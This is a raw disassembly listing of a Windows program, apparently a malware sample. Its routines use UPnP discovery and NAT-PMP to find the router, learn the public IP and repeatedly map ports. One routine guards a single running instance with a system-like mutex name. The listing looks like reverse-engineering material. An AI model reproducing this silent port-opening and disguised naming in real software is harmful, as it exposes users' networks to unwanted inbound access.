		jnz	short loc_402B2B
		mov	ax, [ebp+arg_4]
		mov	[ebp+arg_0], ax


loc_402B2B:				; CODE XREF: sub_402B02+1Fj
		push	10h
		push	0
		lea	eax, [ebp+var_181C]
		push	eax
		call	sub_4075D0
		add	esp, 0Ch
		mov	[ebp+var_181C],	2
		push	offset a239_255_255_25 ; "239.255.255.250"
		call	sub_406D08	; inet_addr
		mov	[ebp+var_1818],	eax
		push	76Ch
		call	sub_406CD8	; htons
		mov	[ebp+var_181A],	ax
		mov	[ebp+var_404], 1
		push	11h
		push	2
		push	2
		call	sub_406CBA	; socket
		mov	[ebp+var_408], eax
		and	[ebp+var_1828],	0
		mov	[ebp+var_1824],	1
		push	offset a239_255_255_25 ; "239.255.255.250"
		call	sub_406D08	; inet_addr
		mov	[ebp+var_1828],	eax
		push	8
		lea	eax, [ebp+var_1828]
		push	eax
		push	5
		push	0
		mov	eax, [ebp+var_408]
		push	eax
		call	sub_406CC0	; setsockopt
		test	eax, eax
		jge	short loc_402BCC
		push	offset aShit	; "shit!\n"
		call	sub_407260
		pop	ecx


loc_402BCC:				; CODE XREF: sub_402B02+BDj
		lea	eax, [ebp+var_181C]
		mov	[ebp+var_182C],	eax
		push	10h
		push	[ebp+var_182C]
		mov	eax, [ebp+var_408]
		push	eax
		call	sub_406CE4	; bind
		cmp	eax, 0FFFFFFFFh
		jnz	loc_403082
		push	offset aXbind___ ; "xbind...\n"
		call	sub_407260
		pop	ecx
		jmp	loc_403082
; ---------------------------------------------------------------------------


loc_402C05:				; CODE XREF: sub_402B02+587j
		mov	[ebp+var_1884],	10h
		push	[ebp+var_404]
		push	offset aSendingIupnpDi ; "sending IUPnP	discovery request #%i...\n"...
		call	sub_407260
		pop	ecx
		pop	ecx
		push	offset aMSearchHttp1_1 ; "M-SEARCH * HTTP/1.1\r\nHost: 239.255.255."...
		call	sub_407650
		pop	ecx
		push	10h
		lea	edx, [ebp+var_181C]
		push	edx
		push	0
		push	eax
		push	offset aMSearchHttp1_1 ; "M-SEARCH * HTTP/1.1\r\nHost: 239.255.255."...
		mov	eax, [ebp+var_408]
		push	eax
		call	sub_406D26	; sendto
		test	eax, eax
		jge	short loc_402C60
		mov	eax, [ebp+var_408]
		push	eax
		call	sub_406CC6	; closesocket
		xor	eax, eax
		jmp	loc_40309D
; ---------------------------------------------------------------------------


loc_402C60:				; CODE XREF: sub_402B02+149j
		push	[ebp+var_404]
		push	offset aSetsockoptIupn ; "setsockopt IUPnP discovery request #%i."...
		call	sub_407260
		pop	ecx
		pop	ecx
		push	4
		lea	eax, [ebp+var_1820]
		push	eax
		push	1006h
		push	0FFFFh
		mov	eax, [ebp+var_408]
		push	eax
		call	sub_406CC0	; setsockopt
		test	eax, eax
		jge	short loc_402CA8
		mov	eax, [ebp+var_408]
		push	eax
		call	sub_406CC6	; closesocket
		xor	eax, eax
		jmp	loc_40309D
; ---------------------------------------------------------------------------


loc_402CA8:				; CODE XREF: sub_402B02+191j
		push	[ebp+var_404]
		push	offset aReceivingIupnp ; "receiving IUPnP discovery request #%i.."...
		call	sub_407260
		pop	ecx
		pop	ecx
		lea	eax, [ebp+var_1884]
		push	eax
		lea	eax, [ebp+var_189C]
		push	eax
		push	0
		push	1000h
		lea	eax, [ebp+var_1409]
		push	eax
		mov	eax, [ebp+var_408]
		push	eax
		call	sub_406D2C	; recvfrom
		test	eax, eax
		jge	short loc_402D12
		call	sub_406D32	; WSAGetLastError
		cmp	eax, 274Ch
		jnz	short loc_402CFF
		cmp	[ebp+var_404], 3
		jnz	loc_40307C


loc_402CFF:				; CODE XREF: sub_402B02+1EEj
		mov	eax, [ebp+var_408]
		push	eax
		call	sub_406CC6	; closesocket
		xor	eax, eax
		jmp	loc_40309D
; ---------------------------------------------------------------------------


loc_402D12:				; CODE XREF: sub_402B02+1E2j
		mov	eax, [ebp+var_1884]
		mov	[ebp+eax+var_1409], 0
		push	[ebp+var_404]
		push	offset aIupnpDiscovery ; "IUPnP	discovery request #%i -- checking"...
		call	sub_407260
		pop	ecx
		pop	ecx
		push	offset aSchemasUpnpOrg ; "schemas-upnp-org:service:WANIPConnectio"...
		lea	eax, [ebp+var_1409]
		push	eax
		call	sub_402511
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_402D60
		push	[ebp+var_404]
		push	offset aIupnpDiscove_0 ; "IUPnP	discovery request #%i: bad (0)..."...
		call	sub_407260
		pop	ecx
		pop	ecx
		jmp	loc_40307C
; ---------------------------------------------------------------------------


loc_402D60:				; CODE XREF: sub_402B02+245j
		push	offset aLocation ; "location"
		lea	eax, [ebp+var_1409]
		push	eax
		call	sub_402511
		pop	ecx
		pop	ecx
		mov	ebx, eax
		test	ebx, ebx
		jnz	short loc_402D91
		push	[ebp+var_404]
		push	offset aIupnpDiscove_1 ; "IUPnP	discovery request #%i: bad (1)..."...
		call	sub_407260
		pop	ecx
		pop	ecx
		jmp	loc_40307C
; ---------------------------------------------------------------------------


loc_402D90:				; CODE XREF: sub_402B02+297j
		inc	ebx


loc_402D91:				; CODE XREF: sub_402B02+275j
		mov	al, [ebx]
		test	al, al
		jz	short loc_402D9B
		cmp	al, 3Ah
		jnz	short loc_402D90


loc_402D9B:				; CODE XREF: sub_402B02+293j
		cmp	byte ptr [ebx],	0
		jz	short loc_402DA4
		inc	ebx
		jmp	short loc_402DA4
; ---------------------------------------------------------------------------


loc_402DA3:				; CODE XREF: sub_402B02+2AAj
		inc	ebx


loc_402DA4:				; CODE XREF: sub_402B02+29Cj
					; sub_402B02+29Fj
		mov	al, [ebx]
		test	al, al
		jz	short loc_402DAE
		cmp	al, 20h
		jz	short loc_402DA3


loc_402DAE:				; CODE XREF: sub_402B02+2A6j
		lea	eax, [ebp+var_1809]
		mov	[ebp+var_1834],	eax
		jmp	short loc_402DCD
; ---------------------------------------------------------------------------


loc_402DBC:				; CODE XREF: sub_402B02+2D3j
		mov	edx, [ebp+var_1834]
		mov	al, [ebx]
		mov	[edx], al
		inc	[ebp+var_1834]
		inc	ebx


loc_402DCD:				; CODE XREF: sub_402B02+2B8j
		mov	al, [ebx]
		test	al, al
		jz	short loc_402DD7
		cmp	al, 20h
		jg	short loc_402DBC


loc_402DD7:				; CODE XREF: sub_402B02+2CFj
		mov	edx, [ebp+var_1834]
		mov	byte ptr [edx],	0
		lea	eax, [ebp+var_1809]
		push	eax
		call	sub_407650
		pop	ecx
		test	eax, eax
		jnz	short loc_402E08
		push	[ebp+var_404]
		push	offset aIupnpDiscove_2 ; "IUPnP	discovery request #%i: bad (2)..."...
		call	sub_407260
		pop	ecx
		pop	ecx
		jmp	loc_40307C
; ---------------------------------------------------------------------------


loc_402E08:				; CODE XREF: sub_402B02+2EDj
		mov	[ebp+var_183E],	0
		lea	eax, [ebp+var_1809]
		push	eax
		push	offset aLocationS ; "location: <%s>\n"
		call	sub_407260
		pop	ecx
		pop	ecx
		lea	eax, [ebp+var_183E]
		push	eax
		lea	eax, [ebp+var_187E]
		push	eax
		lea	eax, [ebp+var_1809]
		push	eax
		call	sub_4025A9
		add	esp, 0Ch
		mov	[ebp+var_183C],	eax
		test	eax, eax
		jnz	short loc_402E62
		push	[ebp+var_404]
		push	offset aIupnpDiscove_3 ; "IUPnP	discovery request #%i: bad (3)..."...
		call	sub_407260
		pop	ecx
		pop	ecx
		jmp	loc_40307C
; ---------------------------------------------------------------------------


loc_402E62:				; CODE XREF: sub_402B02+347j
		push	offset aUrnSchemasUpnp ; "urn:schemas-upnp-org:service:WANIPConne"...
		push	[ebp+var_183C]
		call	sub_402511
		pop	ecx
		pop	ecx
		mov	[ebp+var_188C],	eax
		test	eax, eax
		jnz	short loc_402E8F
		push	[ebp+var_183C]
		call	sub_401076
		pop	ecx
		jmp	loc_40307C
; ---------------------------------------------------------------------------


loc_402E8F:				; CODE XREF: sub_402B02+37Aj
		mov	eax, [ebp+var_183C]
		mov	[ebp+var_1830],	eax


loc_402E9B:				; CODE XREF: sub_402B02+3CBj
		push	offset aService_0 ; "<service>"
		push	[ebp+var_1830]
		call	sub_402511
		pop	ecx
		pop	ecx
		mov	[ebp+var_18A0],	eax
		test	eax, eax
		jz	short loc_402EBF
		cmp	eax, [ebp+var_1830]
		jbe	short loc_402EC1


loc_402EBF:				; CODE XREF: sub_402B02+3B3j
		jmp	short loc_402ECF
; ---------------------------------------------------------------------------


loc_402EC1:				; CODE XREF: sub_402B02+3BBj
		mov	eax, [ebp+var_18A0]
		mov	[ebp+var_1830],	eax
		jmp	short loc_402E9B
; ---------------------------------------------------------------------------


loc_402ECF:				; CODE XREF: sub_402B02:loc_402EBFj
		push	offset aService	; "</service>"
		push	[ebp+var_1830]
		call	sub_402511
		pop	ecx
		pop	ecx
		mov	[ebp+var_1888],	eax
		test	eax, eax
		jnz	short loc_402EFC
		push	[ebp+var_183C]
		call	sub_401076
		pop	ecx
		jmp	loc_40307C
; ---------------------------------------------------------------------------


loc_402EFC:				; CODE XREF: sub_402B02+3E7j
		push	offset aControlurl ; "<controlURL>"
		push	[ebp+var_1830]
		call	sub_402511
		pop	ecx
		pop	ecx
		mov	esi, eax
		test	esi, esi
		jz	short loc_402F1C
		cmp	esi, [ebp+var_1888]
		jb	short loc_402F2D


loc_402F1C:				; CODE XREF: sub_402B02+410j
		push	[ebp+var_183C]
		call	sub_401076
		pop	ecx
		jmp	loc_40307C
; ---------------------------------------------------------------------------


loc_402F2D:				; CODE XREF: sub_402B02+418j
		push	400h
		push	0
		lea	eax, [ebp+var_400]
		push	eax
		call	sub_4075D0
		add	esp, 0Ch
		jmp	short loc_402F46
; ---------------------------------------------------------------------------


loc_402F45:				; CODE XREF: sub_402B02+44Cj
		inc	esi


loc_402F46:				; CODE XREF: sub_402B02+441j
		mov	al, [esi]
		test	al, al
		jz	short loc_402F50
		cmp	al, 3Eh
		jnz	short loc_402F45


loc_402F50:				; CODE XREF: sub_402B02+448j
		cmp	byte ptr [esi],	0
		jz	short loc_402F56
		inc	esi


loc_402F56:				; CODE XREF: sub_402B02+451j
		cmp	byte ptr [esi],	0
		jnz	short loc_402F6C
		push	[ebp+var_183C]
		call	sub_401076
		pop	ecx
		jmp	loc_40307C
; ---------------------------------------------------------------------------


loc_402F6C:				; CODE XREF: sub_402B02+457j
		and	[ebp+var_1838],	0
		jmp	short loc_402F8B
; ---------------------------------------------------------------------------


loc_402F75:				; CODE XREF: sub_402B02+491j
		mov	eax, [ebp+var_1838]
		mov	dl, [esi]
		mov	[ebp+eax+var_400], dl
		inc	[ebp+var_1838]
		inc	esi


loc_402F8B:				; CODE XREF: sub_402B02+471j
		mov	al, [esi]
		test	al, al
		jz	short loc_402F95
		cmp	al, 3Ch
		jnz	short loc_402F75


loc_402F95:				; CODE XREF: sub_402B02+48Dj
		mov	eax, [ebp+var_1838]
		mov	[ebp+eax+var_400], 0
		push	offset aHttp	; "http://"
		lea	eax, [ebp+var_400]
		push	eax
		call	sub_402511
		pop	ecx
		pop	ecx
		mov	edi, eax
		test	edi, edi
		jnz	short loc_402FC5
		lea	edi, [ebp+var_400]
		jmp	short loc_402FF5
; ---------------------------------------------------------------------------


loc_402FC4:				; CODE XREF: sub_402B02+4CBj
		inc	edi


loc_402FC5:				; CODE XREF: sub_402B02+4B8j
		mov	al, [edi]
		test	al, al
		jz	short loc_402FCF
		cmp	al, 3Ah
		jnz	short loc_402FC4


loc_402FCF:				; CODE XREF: sub_402B02+4C7j
		cmp	byte ptr [edi],	0
		jz	short loc_402FD8
		inc	edi
		jmp	short loc_402FD8
; ---------------------------------------------------------------------------


loc_402FD7:				; CODE XREF: sub_402B02+4DEj
		inc	edi


loc_402FD8:				; CODE XREF: sub_402B02+4D0j
					; sub_402B02+4D3j
		mov	al, [edi]
		test	al, al
		jz	short loc_402FE2
		cmp	al, 2Fh
		jz	short loc_402FD7


loc_402FE2:				; CODE XREF: sub_402B02+4DAj
		cmp	byte ptr [edi],	0
		jz	short loc_402FEB
		inc	edi
		jmp	short loc_402FEB
; ---------------------------------------------------------------------------


loc_402FEA:				; CODE XREF: sub_402B02+4F1j
		inc	edi


loc_402FEB:				; CODE XREF: sub_402B02+4E3j
					; sub_402B02+4E6j
		mov	al, [edi]
		test	al, al
		jz	short loc_402FF5
		cmp	al, 2Fh
		jnz	short loc_402FEA


loc_402FF5:				; CODE XREF: sub_402B02+4C0j
					; sub_402B02+4EDj
		movzx	eax, [ebp+arg_4]
		push	eax
		movzx	eax, [ebp+arg_0]
		push	eax
		push	edi
		movzx	eax, [ebp+var_183E]
		push	eax
		lea	eax, [ebp+var_187E]
		push	eax
		push	0
		call	sub_402896
		add	esp, 18h
		test	eax, eax
		jnz	short loc_403059
		movzx	eax, [ebp+arg_4]
		push	eax
		movzx	eax, [ebp+arg_0]
		push	eax
		lea	eax, [ebp+var_400]
		push	eax
		movzx	eax, [ebp+var_183E]
		push	eax
		lea	eax, [ebp+var_187E]
		push	eax
		push	1
		call	sub_402896
		add	esp, 18h
		test	eax, eax
		jnz	short loc_403059
		push	[ebp+var_183C]
		call	sub_401076
		pop	ecx
		jmp	short loc_40307C
; ---------------------------------------------------------------------------


loc_403059:				; CODE XREF: sub_402B02+519j
					; sub_402B02+547j
		push	[ebp+var_404]
		push	offset aIupnpDiscove_4 ; "IUPnP	discovery request #%i: ok.\n"
		call	sub_407260
		pop	ecx
		pop	ecx
		mov	eax, [ebp+var_408]
		push	eax
		call	sub_406CC6	; closesocket
		xor	eax, eax
		inc	eax
		jmp	short loc_40309D
; ---------------------------------------------------------------------------


loc_40307C:				; CODE XREF: sub_402B02+1F7j
					; sub_402B02+259j ...
		inc	[ebp+var_404]


loc_403082:				; CODE XREF: sub_402B02+EDj
					; sub_402B02+FEj
		cmp	[ebp+var_404], 3
		jl	loc_402C05
		mov	eax, [ebp+var_408]
		push	eax
		call	sub_406CC6	; closesocket
		xor	eax, eax


loc_40309D:				; CODE XREF: sub_402B02+159j
					; sub_402B02+1A1j ...
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_402B02	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4030A4	proc near		; CODE XREF: sub_403113+16p

var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 8
		push	ebx
		push	esi
		and	[ebp+var_4], 0
		xor	esi, esi
		push	3Ch
		call	sub_401048
		pop	ecx
		mov	ebx, eax
		test	eax, eax
		jz	short loc_40310D
		push	0
		lea	eax, [ebp+var_4]
		push	eax
		push	ebx
		call	sub_406D38	; GetIpForwardTable
		cmp	eax, 7Ah
		jnz	short loc_4030E8
		push	ebx
		call	sub_401076
		pop	ecx
		mov	eax, [ebp+var_4]
		push	eax
		call	sub_401048
		pop	ecx
		mov	ebx, eax
		test	eax, eax
		jz	short loc_40310D


loc_4030E8:				; CODE XREF: sub_4030A4+2Bj
		push	0
		lea	eax, [ebp+var_4]
		push	eax
		push	ebx
		call	sub_406D38	; GetIpForwardTable
		test	eax, eax
		jnz	short loc_403104
		mov	eax, [ebx]
		mov	[ebp+var_8], eax
		test	eax, eax
		jz	short loc_403104
		mov	esi, [ebx+10h]


loc_403104:				; CODE XREF: sub_4030A4+52j
					; sub_4030A4+5Bj
		push	ebx
		call	sub_401076
		pop	ecx
		mov	eax, esi


loc_40310D:				; CODE XREF: sub_4030A4+1Aj
					; sub_4030A4+42j
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_4030A4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_403113	proc near		; CODE XREF: sub_40356A+17p
					; sub_404967+F5p

var_C0		= dword	ptr -0C0h
var_BC		= byte ptr -0BCh
var_B8		= dword	ptr -0B8h
var_AC		= word ptr -0ACh
var_AA		= word ptr -0AAh
var_A8		= dword	ptr -0A8h
var_9C		= dword	ptr -9Ch
var_98		= dword	ptr -98h
var_94		= word ptr -94h
var_92		= word ptr -92h
var_90		= dword	ptr -90h
var_84		= dword	ptr -84h
var_80		= byte ptr -80h
var_7F		= byte ptr -7Fh
var_78		= byte ptr -78h

		push	ebp
		mov	ebp, esp
		sub	esp, 0C0h
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_9C], 0FAh
		call	sub_4030A4
		mov	[ebp+var_84], eax
		test	eax, eax
		jz	loc_40331B
		mov	[ebp+var_94], 2
		mov	eax, [ebp+var_84]
		mov	[ebp+var_90], eax
		push	14E7h
		call	sub_406CD8	; htons
		mov	[ebp+var_92], ax
		mov	eax, [ebp+var_84]
		mov	[ebp+var_98], eax
		push	eax
		call	sub_406D20	; inet_ntoa
		push	eax
		push	offset aDefaultGateway ; "default gateway: [%s]\n"
		call	sub_407260
		pop	ecx
		pop	ecx
		xor	ebx, ebx
		inc	ebx
		push	11h
		push	2
		push	2
		call	sub_406CBA	; socket
		mov	esi, eax
		push	10h
		push	0
		lea	eax, [ebp+var_AC]
		push	eax
		call	sub_4075D0
		add	esp, 0Ch
		mov	[ebp+var_AC], 2
		mov	eax, [ebp+var_84]
		mov	[ebp+var_A8], eax
		push	14E7h
		call	sub_406CD8	; htons
		mov	[ebp+var_AA], ax
		lea	edi, [ebp+var_AC]
		push	10h
		push	edi
		push	esi
		call	sub_406CE4	; bind
		jmp	loc_40330A
; ---------------------------------------------------------------------------


loc_4031DE:				; CODE XREF: sub_403113+1FAj
		mov	[ebp+var_C0], 10h
		push	ebx
		push	offset aSendingNatPmpR ; "sending NAT-PMP request #%i...\n"
		call	sub_407260
		pop	ecx
		pop	ecx
		mov	[ebp+var_80], 0
		mov	[ebp+var_7F], 0
		push	10h
		lea	eax, [ebp+var_94]
		push	eax
		push	0
		push	2
		lea	eax, [ebp+var_80]
		push	eax
		push	esi
		call	sub_406D26	; sendto
		test	eax, eax
		jge	short loc_403225
		push	esi
		call	sub_406CC6	; closesocket
		xor	eax, eax
		jmp	loc_40331B
; ---------------------------------------------------------------------------


loc_403225:				; CODE XREF: sub_403113+103j
		push	ebx
		push	offset aSetsockoptNatP ; "setsockopt NAT-PMP request #%i...\n"
		call	sub_407260
		pop	ecx
		pop	ecx
		push	4
		lea	eax, [ebp+var_9C]
		push	eax
		push	1006h
		push	0FFFFh
		push	esi
		call	sub_406CC0	; setsockopt
		test	eax, eax
		jge	short loc_40325C
		push	esi
		call	sub_406CC6	; closesocket
		xor	eax, eax
		jmp	loc_40331B
; ---------------------------------------------------------------------------


loc_40325C:				; CODE XREF: sub_403113+13Aj
		push	ebx
		push	offset aReceivingNatPm ; "receiving NAT-PMP request #%i...\n"
		call	sub_407260
		pop	ecx
		pop	ecx
		lea	eax, [ebp+var_C0]
		push	eax
		lea	eax, [ebp+var_BC]
		push	eax
		push	0
		push	0Ch
		lea	eax, [ebp+var_80]
		push	eax
		push	esi
		call	sub_406D2C	; recvfrom
		test	eax, eax
		jge	short loc_4032A4
		call	sub_406D32	; WSAGetLastError
		cmp	eax, 274Ch
		jnz	short loc_40329A
		cmp	ebx, 9
		jnz	short loc_403303


loc_40329A:				; CODE XREF: sub_403113+180j
		push	esi
		call	sub_406CC6	; closesocket
		xor	eax, eax
		jmp	short loc_40331B
; ---------------------------------------------------------------------------


loc_4032A4:				; CODE XREF: sub_403113+174j
		push	ebx
		push	offset aNatPmpRequestI ; "NAT-PMP request #%i -	ok\n"
		call	sub_407260
		pop	ecx
		pop	ecx
		mov	eax, [ebp+var_90]
		cmp	[ebp+var_B8], eax
		jnz	short loc_403303
		push	4
		lea	eax, [ebp+var_78]
		push	eax
		lea	eax, [ebp+var_84]
		push	eax
		call	sub_407630
		add	esp, 0Ch
		mov	eax, [ebp+var_84]
		mov	[ebp+var_98], eax
		push	eax
		call	sub_406D20	; inet_ntoa
		push	eax
		push	ebx
		push	offset aNatPmpReques_0 ; "NAT-PMP request #%i -	public IP: [%s]\n"
		call	sub_407260
		add	esp, 0Ch
		push	esi
		call	sub_406CC6	; closesocket
		mov	eax, [ebp+var_84]
		jmp	short loc_40331B
; ---------------------------------------------------------------------------


loc_403303:				; CODE XREF: sub_403113+185j
					; sub_403113+1AAj
		inc	ebx
		shl	[ebp+var_9C], 1


loc_40330A:				; CODE XREF: sub_403113+C6j
		cmp	ebx, 0Ah
		jl	loc_4031DE
		push	esi
		call	sub_406CC6	; closesocket
		xor	eax, eax


loc_40331B:				; CODE XREF: sub_403113+23j
					; sub_403113+10Dj ...
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_403113	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_403322	proc near		; CODE XREF: sub_40356A+33p
					; sub_404967+110p

var_C0		= dword	ptr -0C0h
var_BC		= byte ptr -0BCh
var_B8		= dword	ptr -0B8h
var_AC		= dword	ptr -0ACh
var_A8		= dword	ptr -0A8h
var_A4		= word ptr -0A4h
var_A2		= word ptr -0A2h
var_A0		= dword	ptr -0A0h
var_94		= dword	ptr -94h
var_90		= word ptr -90h
var_8E		= word ptr -8Eh
var_8C		= dword	ptr -8Ch
var_80		= byte ptr -80h
var_7F		= byte ptr -7Fh
var_7E		= byte ptr -7Eh
var_7D		= byte ptr -7Dh
var_7C		= byte ptr -7Ch
var_7A		= byte ptr -7Ah
var_78		= byte ptr -78h
var_76		= byte ptr -76h
var_75		= byte ptr -75h
arg_0		= dword	ptr  8
arg_4		= word ptr  0Ch
arg_8		= word ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 0C0h
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_94], 0FAh
		mov	[ebp+var_90], 2
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_8C], eax
		push	14E7h
		call	sub_406CD8	; htons
		mov	[ebp+var_8E], ax
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_A8], eax
		push	eax
		call	sub_406D20	; inet_ntoa
		push	eax
		push	offset aRouterIpS ; "router ip:	[%s]\n"
		call	sub_407260
		pop	ecx
		pop	ecx
		xor	esi, esi
		inc	esi
		push	11h
		push	2
		push	2
		call	sub_406CBA	; socket
		mov	edi, eax
		push	10h
		push	0
		lea	eax, [ebp+var_A4]
		push	eax
		call	sub_4075D0
		add	esp, 0Ch
		mov	[ebp+var_A4], 2
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_A0], eax
		push	14E7h
		call	sub_406CD8	; htons
		mov	[ebp+var_A2], ax
		lea	eax, [ebp+var_A4]
		mov	[ebp+var_AC], eax
		push	10h
		push	[ebp+var_AC]
		push	edi
		call	sub_406CE4	; bind
		jmp	loc_403552
; ---------------------------------------------------------------------------


loc_4033DC:				; CODE XREF: sub_403322+233j
		mov	[ebp+var_C0], 10h
		push	esi
		push	offset aSendingNatPmpF ; "sending NAT-PMP fwd request #%i...\n"
		call	sub_407260
		pop	ecx
		pop	ecx
		mov	[ebp+var_80], 0
		mov	[ebp+var_7F], 2
		mov	[ebp+var_7E], 0
		mov	[ebp+var_7D], 0
		lea	ebx, [ebp+var_7C]
		movzx	eax, [ebp+arg_4]
		push	eax
		call	sub_406CD8	; htons
		mov	[ebx], ax
		lea	ebx, [ebp+var_7A]
		movzx	eax, [ebp+arg_8]
		push	eax
		call	sub_406CD8	; htons
		mov	[ebx], ax
		lea	ebx, [ebp+var_78]
		mov	word ptr [ebx],	0E10h
		mov	[ebp+var_76], 0
		mov	[ebp+var_75], 0
		push	10h
		lea	eax, [ebp+var_90]
		push	eax
		push	0
		push	0Ch
		lea	eax, [ebp+var_80]
		push	eax
		push	edi
		call	sub_406D26	; sendto
		test	eax, eax
		jge	short loc_40345B
		push	edi
		call	sub_406CC6	; closesocket
		xor	eax, eax
		jmp	loc_403563
; ---------------------------------------------------------------------------


loc_40345B:				; CODE XREF: sub_403322+12Aj
		push	esi
		push	offset aSetsockoptNa_0 ; "setsockopt NAT-PMP fwd request #%i...\n"
		call	sub_407260
		pop	ecx
		pop	ecx
		push	4
		lea	eax, [ebp+var_94]
		push	eax
		push	1006h
		push	0FFFFh
		push	edi
		call	sub_406CC0	; setsockopt
		test	eax, eax
		jge	short loc_403492
		push	edi
		call	sub_406CC6	; closesocket
		xor	eax, eax
		jmp	loc_403563
; ---------------------------------------------------------------------------


loc_403492:				; CODE XREF: sub_403322+161j
		push	esi
		push	offset aReceivingNat_0 ; "receiving NAT-PMP fwd	request	#%i...\n"
		call	sub_407260
		pop	ecx
		pop	ecx
		lea	eax, [ebp+var_C0]
		push	eax
		lea	eax, [ebp+var_BC]
		push	eax
		push	0
		push	10h
		lea	eax, [ebp+var_80]
		push	eax
		push	edi
		call	sub_406D2C	; recvfrom
		test	eax, eax
		jge	short loc_4034DD
		call	sub_406D32	; WSAGetLastError
		cmp	eax, 274Ch
		jnz	short loc_4034D0
		cmp	esi, 9
		jnz	short loc_40354B


loc_4034D0:				; CODE XREF: sub_403322+1A7j
		push	edi
		call	sub_406CC6	; closesocket
		xor	eax, eax
		jmp	loc_403563
; ---------------------------------------------------------------------------


loc_4034DD:				; CODE XREF: sub_403322+19Bj
		push	esi
		push	offset aNatPmpFwdReque ; "NAT-PMP fwd request #%i - ok\n"
		call	sub_407260
		pop	ecx
		pop	ecx
		mov	eax, [ebp+var_8C]
		cmp	[ebp+var_B8], eax
		jnz	short loc_40354B
		cmp	[ebp+var_7F], 82h
		jnz	short loc_40354B
		lea	ebx, [ebp+var_7E]
		cmp	word ptr [ebx],	0
		jnz	short loc_40354B
		lea	ebx, [ebp+var_78]
		movzx	eax, [ebp+arg_4]
		push	eax
		call	sub_406CD8	; htons
		cmp	[ebx], ax
		jnz	short loc_40354B
		lea	ebx, [ebp+var_76]
		movzx	eax, word ptr [ebx]
		push	eax
		call	sub_406CF6	; htons
		movzx	eax, ax
		push	eax
		push	esi
		push	offset aNatPmpReques_1 ; "NAT-PMP request #%i -	port: [%i]\n"
		call	sub_407260
		add	esp, 0Ch
		push	edi
		call	sub_406CC6	; closesocket
		movzx	eax, word ptr [ebx]
		push	eax
		call	sub_406CD8	; htons
		movzx	eax, ax
		jmp	short loc_403563
; ---------------------------------------------------------------------------


loc_40354B:				; CODE XREF: sub_403322+1ACj
					; sub_403322+1D4j ...
		inc	esi
		shl	[ebp+var_94], 1


loc_403552:				; CODE XREF: sub_403322+B5j
		cmp	esi, 0Ah
		jl	loc_4033DC
		push	edi
		call	sub_406CC6	; closesocket
		xor	eax, eax


loc_403563:				; CODE XREF: sub_403322+134j
					; sub_403322+16Bj ...
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_403322	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_40356A	proc near		; DATA XREF: sub_406677+3Fo
					; DMN1:00447637o
		push	ebx
		push	esi
		push	edi


loc_40356D:				; CODE XREF: sub_40356A:loc_4035FBj
		xor	ebx, ebx
		inc	ebx


loc_403570:				; CODE XREF: sub_40356A+15j
		push	0EA60h
		call	dword_411D00	; Sleep
		inc	ebx
		cmp	ebx, 3Fh
		jl	short loc_403570
		call	sub_403113
		mov	edi, eax
		mov	eax, dword_411010
		mov	si, ax
		movzx	eax, si
		push	eax
		movzx	eax, word ptr dword_41100C
		push	eax
		push	edi
		call	sub_403322
		add	esp, 0Ch
		mov	si, ax
		test	si, si
		jz	short loc_4035CD
		movzx	eax, si
		cmp	eax, dword_411010
		jz	short loc_4035CD
		movzx	eax, si
		mov	dword_411010, eax
		push	1
		push	offset dword_411024
		call	dword_411D04	; InterlockedExchange


loc_4035CD:				; CODE XREF: sub_40356A+41j
					; sub_40356A+4Cj
		movzx	eax, word ptr dword_41100C
		push	eax
		push	eax
		call	sub_402B02
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	short loc_4035FB
		mov	eax, dword_41100C
		cmp	dword_411010, eax
		jz	short loc_4035FB
		push	1
		push	offset dword_411024
		call	dword_411D04	; InterlockedExchange


loc_4035FB:				; CODE XREF: sub_40356A+75j
					; sub_40356A+82j
		jmp	loc_40356D
sub_40356A	endp

; ---------------------------------------------------------------------------
		pop	edi
		pop	esi
		pop	ebx
		retn

; =============== S U B	R O U T	I N E =======================================



sub_403604	proc near		; CODE XREF: sub_4066F1+77p
		push	ebx
		cmp	dword_411018, 0
		jz	short loc_403612
		xor	eax, eax
		jmp	short loc_403656
; ---------------------------------------------------------------------------


loc_403612:				; CODE XREF: sub_403604+8j
		xor	ebx, ebx
		push	offset a__win32__nts_s ; "__win32__nts_sdm__"
		push	0
		push	0
		call	dword_411D08	; CreateMutexA
		mov	dword_411018, eax
		cmp	dword_411018, 0
		jz	short loc_403654
		call	dword_411CE8	; RtlGetLastWin32Error
		cmp	eax, 0B7h
		jnz	short loc_403654
		xor	ebx, ebx
		inc	ebx
		push	dword_411018
		call	dword_411CF8	; CloseHandle
		and	dword_411018, 0


loc_403654:				; CODE XREF: sub_403604+2Bj
					; sub_403604+38j
		mov	eax, ebx


loc_403656:				; CODE XREF: sub_403604+Cj
		pop	ebx
		retn
sub_403604	endp


; =============== S U B	R O U T	I N E =======================================



sub_403658	proc near		; CODE XREF: sub_403FEAp
					; sub_40400E+81p ...
		push	ebx
		push	esi
		xor	esi, esi
		push	offset a__win32__nts_s ; "__win32__nts_sdm__"
		push	0
		push	100000h
		call	dword_411D0C	; OpenMutexA
		mov	ebx, eax
		test	ebx, ebx
		jz	short loc_403680
		xor	esi, esi
		inc	esi
		push	ebx
		call	dword_411CF8	; CloseHandle
		xor	ebx, ebx


loc_403680:				; CODE XREF: sub_403658+1Aj
		mov	eax, esi
		pop	esi
		pop	ebx
		retn
sub_403658	endp


; =============== S U B	R O U T	I N E =======================================



sub_403685	proc near		; CODE XREF: sub_4066F1+C5p
		cmp	dword_411018, 0
		jz	short locret_4036A1
		push	dword_411018
